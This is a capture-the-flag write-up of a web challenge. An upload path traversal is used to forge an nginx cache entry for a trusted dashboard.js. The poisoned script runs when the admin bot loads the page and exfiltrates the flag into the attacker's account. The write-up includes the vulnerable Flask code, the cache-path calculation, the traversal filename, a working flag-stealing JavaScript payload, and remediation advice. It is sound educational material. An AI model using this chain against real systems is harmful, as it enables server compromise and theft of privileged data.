WRITEUP

CyCTF Luxor: Clear - Upload Traversal → Nginx Cache Poisoning → Admin Bot Flag Exfil

User-controlled filename becomes arbitrary file write, trusted cached JS gets replaced, admin bot executes it, and the flag gets exfiltrated.

platform: CTFdiff: harddate: 2026-03-14
CONTENTS

Attack Chain

untrusted filename → arbitrary file write → overwrite nginx cache entry for trusted JS → complaint bot logs in as admin and opens dashboard → poisoned JS runs as admin → exfil flag into attacker account


Prerequisites, What you need to understand before reading

If you don’t understand these, the exploit looks random.

  • Concept 1: Path traversal in file uploads means the filename is not metadata anymore, it becomes a filesystem primitive.
  • Concept 2: Nginx file cache stores cached responses as real files on disk, keyed by md5(cache_key).
  • Concept 3: If you can overwrite a cached trusted JavaScript file, you get script execution without finding a DOM XSS sink.
  • Tooling: curl, basic Flask reading, and comfort reading infra files like nginx.conf.

Intro: What this challenge teaches

  • Goal: turn a boring upload bug into admin-context JavaScript execution.
  • Main idea: I did not inject into HTML. I replaced a trusted cached asset the admin bot loads.
  • Key lesson: arbitrary file write becomes much stronger when the target stack has proxy caches, bots, or auto-review systems.

Code Analysis

High-level architecture

  • Backend: Flask + Flask-Login
  • Reverse proxy: nginx with cache enabled for /static/ and /uploads/
  • Bot: Selenium logs in as admin and opens /dashboard

The vulnerable upload

backend/app.py
PY
original_name = file.filename
sanitized_name = secure_filename(file.filename)
 
save_path = os.path.join(app.config["UPLOAD_FOLDER"], original_name)
os.makedirs(os.path.dirname(save_path), exist_ok=True)
file.save(save_path)

Fatal assumption: secure_filename() is only used for display, not for the actual write path.

The trusted asset sink

NGINX
location /static/ {
    proxy_pass http://localhost:5000/static/;
    proxy_cache bank_cache;
    proxy_cache_valid 200 5m;
}

The bot trigger

PY
@app.route("/api/complain/<int:invoice_id>", methods=["POST"])
def complain(invoice_id):
    http_requests.post(f"{bot_url}/visit", json={"invoice_id": invoice_id}, timeout=5)
driver.get(f"{TARGET_URL}/login")
# login as admin
driver.get(f"{TARGET_URL}/dashboard")

Why normal XSS was the wrong path?

dashboard.js escapes invoice names before inserting them into the DOM, so a filename like <script> does nothing useful. The real sink is not HTML. The real sink is cached /static/js/dashboard.js.


Why this works

Step 1: Upload traversal gives arbitrary write Because the backend saves file.filename directly, I can write outside uploads/.

Step 2: Live deployment blocks direct overwrite of app files Trying to overwrite /app/static/js/dashboard.js returned 500 on the live box, so direct sibling overwrite was dead.

Step 3: /var/cache/nginx was still writable That changed everything. nginx was already serving /static/js/dashboard.js from cache, and the cache directory was writable from the upload primitive.

Step 4: Poison trusted JS, not HTML So instead of searching for XSS, I overwrote the cached response for:

TEXT
http://localhost:5000/static/js/dashboard.js

Its md5 is:

TEXT
8506729f374636e55036550657970e1d

With levels=1:2, the cache file lands at:

TEXT
/var/cache/nginx/d/e1/8506729f374636e55036550657970e1d

Critical implementation detail that cost me time

The nginx cache marker is a 6-byte array:

C
static u_char ngx_http_file_cache_key[] = { LF, 'K', 'E', 'Y', ':', ' ' };

So the forged file must use:

TEXT
\nKEY: 

Not a NUL-terminated 7-byte string.


Exploit Strategie I used

Why I chose this chain?

  • No DOM XSS needed
  • No template injection
  • No quote breaking
  • Uses the challenge’s intended moving parts:
    • upload
    • nginx cache
    • admin bot

Extra nuance: the bot loads dashboard twice

My first payload “worked” but the output kept getting overwritten. Reason: after I stole the admin session action, my own login/upload flow caused /dashboard to load again as my user. Fix: only run the payload when:

JS
info.user.role === "admin"

That role check stopped the second clobber.


My working payload

Core JavaScript I cached into dashboard.js

JS
(async () => {
  try {
    const info = await fetch('/api/invoices', { credentials: 'include' }).then(r => r.json());
    if (!info.user || info.user.role !== 'admin') return;
 
    const flag = await fetch('/flag', { credentials: 'include' }).then(r => r.text());
 
    await fetch('/logout', { credentials: 'include' });
 
    const body = new URLSearchParams({
      username: 'MY_USER',
      password: 'MY_PASS'
    });
 
    await fetch('/login', {
      method: 'POST',
      headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
      body,
      credentials: 'include'
    });
 
    const fd = new FormData();
    fd.append('invoice', new Blob([flag], { type: 'text/plain' }), 'flag.txt');
 
    await fetch('/upload', {
      method: 'POST',
      body: fd,
      credentials: 'include'
    });
  } catch (e) {}
})();

What the forged cache file had to contain

  • Valid ngx_http_file_cache_header_t layout
  • Correct crc32(key)
  • Correct header_start
  • Correct body_start
  • Exact key marker: \nKEY:
  • Raw cached HTTP response whose body is my JavaScript

Traversal target I uploaded to

TEXT
../../var/cache/nginx/d/e1/8506729f374636e55036550657970e1d

Then I just:

  1. uploaded a normal seed invoice
  2. called /api/complain/<seed_id>
  3. waited for the bot
  4. downloaded flag.txt from my own account

Solve Analysis, What happened on the server?

  • Flask accepted my custom multipart filename
  • Path traversal wrote my forged file into nginx cache
  • Complaint endpoint triggered the Selenium bot
  • Bot logged in as admin and opened /dashboard
  • Browser loaded poisoned cached dashboard.js
  • JS fetched /flag
  • JS logged into my account
  • JS uploaded the flag as a normal invoice
  • I downloaded it back through /uploads/flag.txt

Real-World Fix. How to prevent this Defensive rules?

  • Never use raw file.filename for disk paths
  • Generate server-side filenames only
  • Store uploads outside the app tree and outside proxy/cache paths
  • Mount app code and cache dirs with least privilege
  • Don’t let authenticated bots browse the same origin with powerful endpoints like /flag
  • Add asset integrity / immutable asset pipelines for trusted JS

Minimal correct fix

PY
name = secure_filename(file.filename)
random_name = f"{uuid.uuid4().hex}_{name}"
save_path = os.path.join(app.config["UPLOAD_FOLDER"], random_name)
file.save(save_path)

Closing

This challenge was not “find XSS in a table row.”

It was:

  • filename becomes filesystem write
  • filesystem write reaches nginx cache
  • cached trusted JavaScript becomes attacker JavaScript
  • admin bot turns that into privileged execution